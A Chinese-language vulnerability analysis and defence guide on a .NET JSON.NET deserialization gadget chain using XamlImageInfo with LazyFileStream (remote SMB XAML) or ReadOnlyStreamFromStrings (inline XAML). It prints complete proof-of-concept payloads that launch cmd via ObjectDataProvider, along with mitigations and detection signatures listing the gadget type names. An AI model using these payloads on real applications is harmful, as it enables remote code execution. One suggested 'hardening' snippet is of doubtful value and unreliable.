.NET 反序列化最新攻击链 XamlImageInfo
字数 2104 2025-08-23 18:31:24
.NET 反序列化攻击链 XamlImageInfo 深入分析与防御指南
0x01 漏洞概述
XamlImageInfo 类位于 System.Activities.Presentation.Internal 命名空间,主要用于 WPF 处理图像和图标相关功能。该漏洞利用 .NET 反序列化机制,通过构造特定的恶意序列化数据,可以实现远程代码执行。
0x02 攻击链分析
攻击链1:XamlImageInfo + LazyFileStream
核心组件
-
XamlImageInfo 类
- 命名空间:
System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo - 关键构造函数:
public XamlImageInfo(Stream stream) { this._image = XamlReader.Load(stream); } - 漏洞点:
XamlReader.Load方法可以加载并执行任意 XAML 内容
- 命名空间:
-
LazyFileStream 类
- 命名空间:
Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream - 特性:
- 继承自
Stream类 - 可通过 JSON.NET 反序列化
- 构造函数接受文件路径参数,可加载远程 SMB 共享文件
- 继承自
- 命名空间:
攻击原理
攻击者构造一个 JSON 对象,其中:
- 指定
$type为 XamlImageInfo stream属性设置为 LazyFileStream 实例- LazyFileStream 指向远程 SMB 共享的恶意 XAML 文件
漏洞复现代码
var payload = @"
{
'$type':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'stream':{
'$type':'Microsoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStream, PresentationBuildTasks, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'path':'\\\\192.168.101.86\\Poc\\XamlImageInfo.xaml'
}
}";
JsonConvert.DeserializeObject(payload, new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All
});
特点
- 优点:使用系统默认 GAC 程序集
- 缺点:需要从 SMB 路径加载恶意文件
攻击链2:XamlImageInfo + ReadOnlyStreamFromStrings
核心组件
-
ReadOnlyStreamFromStrings 类
- 命名空间:
Microsoft.Web.Deployment - 关键构造函数:
public ReadOnlyStreamFromStrings(IEnumerator<string> enumerator, string stringSuffix) - 特性:
- 继承自
Stream类 - 通过
stringSuffix参数直接嵌入恶意 XAML 内容 - 不需要外部文件加载
- 继承自
- 命名空间:
-
GroupedIEnumerable
类 - 用于提供
IEnumerator<string>接口实现
- 用于提供
攻击原理
攻击者构造一个 JSON 对象,其中:
- 指定
$type为 XamlImageInfo stream属性设置为 ReadOnlyStreamFromStrings 实例stringSuffix直接包含恶意 XAML 内容- 使用 GroupedIEnumerable 提供所需的枚举器接口
漏洞复现代码
var payload = @"
{
'$type':'System.Activities.Presentation.Internal.ManifestImages+XamlImageInfo, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'stream':{
'$type':'Microsoft.Web.Deployment.ReadOnlyStreamFromStrings, Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'enumerator':{
'$type':'Microsoft.Web.Deployment.GroupedIEnumerable`1+GroupEnumerator[[System.String, mscorlib]], Microsoft.Web.Deployment, Version=9.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'enumerables':[
{
'$type':'System.Collections.Generic.List`1[[System.String, mscorlib]], mscorlib',
'$values':['']
}
]
},
'stringSuffix':'<?xml version=\""1.0\"" encoding=\""utf-8\""?>
<ObjectDataProvider MethodName=\""Start\"" IsInitialLoadEnabled=\""False\"" xmlns=\""http://schemas.microsoft.com/winfx/2006/xaml/presentation\"" xmlns:sd=\""clr-namespace:System.Diagnostics;assembly=System\"" xmlns:x=\""http://schemas.microsoft.com/winfx/2006/xaml\"">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments=\""/c calc\"" StandardErrorEncoding=\""{x:Null}\"" StandardOutputEncoding=\""{x:Null}\"" UserName=\""\"" Password=\""{x:Null}\"" Domain=\""\"" LoadUserProfile=\""False\"" FileName=\""cmd\"" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>'
}
}";
JsonConvert.DeserializeObject(payload, new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All
});
特点
- 优点:无需加载 SMB 协议文件路径
- 缺点:需要额外安装 Microsoft.Web.Deployment 程序集(通常通过 Web 服务、Visual Studio 或 NuGet 包安装)
0x03 恶意 XAML 分析
两种攻击链最终都依赖恶意 XAML 实现代码执行,典型 payload 结构:
<?xml version="1.0" encoding="utf-8"?>
<ObjectDataProvider
MethodName="Start"
IsInitialLoadEnabled="False"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo
Arguments="/c calc"
StandardErrorEncoding="{x:Null}"
StandardOutputEncoding="{x:Null}"
UserName=""
Password="{x:Null}"
Domain=""
LoadUserProfile="False"
FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
此 XAML 利用 ObjectDataProvider 调用 Process.Start 方法执行系统命令。
0x04 防御措施
1. 输入验证与过滤
- 禁止或严格验证反序列化中的
$type属性 - 使用白名单机制限制可反序列化的类型
2. 安全配置
- 避免使用
TypeNameHandling.All或TypeNameHandling.Auto - 使用更安全的设置:
new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.None }
3. 代码加固
- 对关键类如
XamlImageInfo进行序列化特性标记:[Serializable] [DataContract] public class SafeClass { // 安全实现 }
4. 网络防护
- 对于攻击链1,限制出站SMB协议(445端口)
- 监控异常的网络文件加载行为
5. 运行时保护
- 使用最新的 .NET 版本和安全补丁
- 考虑使用反序列化保护库如 "AntiXmlSerializer"
6. 程序集控制
- 对于攻击链2,移除非必要的 Microsoft.Web.Deployment 程序集
- 实施严格的程序集加载策略
0x05 检测方法
-
日志监控
- 监控异常的反序列化操作
- 记录详细的类型加载信息
-
特征检测
- 检查 JSON 数据中是否包含可疑的
$type值:System.Activities.Presentation.Internal.ManifestImages+XamlImageInfoMicrosoft.Build.Tasks.Windows.ResourcesGenerator+LazyFileStreamMicrosoft.Web.Deployment.ReadOnlyStreamFromStrings
- 检查 JSON 数据中是否包含可疑的
-
行为检测
- 检测进程异常启动(如从反序列化操作中启动 cmd.exe)
- 监控 XAML 文件的异常加载
0x06 总结
XamlImageInfo 反序列化漏洞展示了 .NET 反序列化机制的潜在风险,攻击者可以通过多种途径实现远程代码执行。防御需要多层次的安全措施,包括输入验证、安全配置、代码加固和运行时保护。开发者应始终遵循最小权限原则,并保持对反序列化操作的严格监控。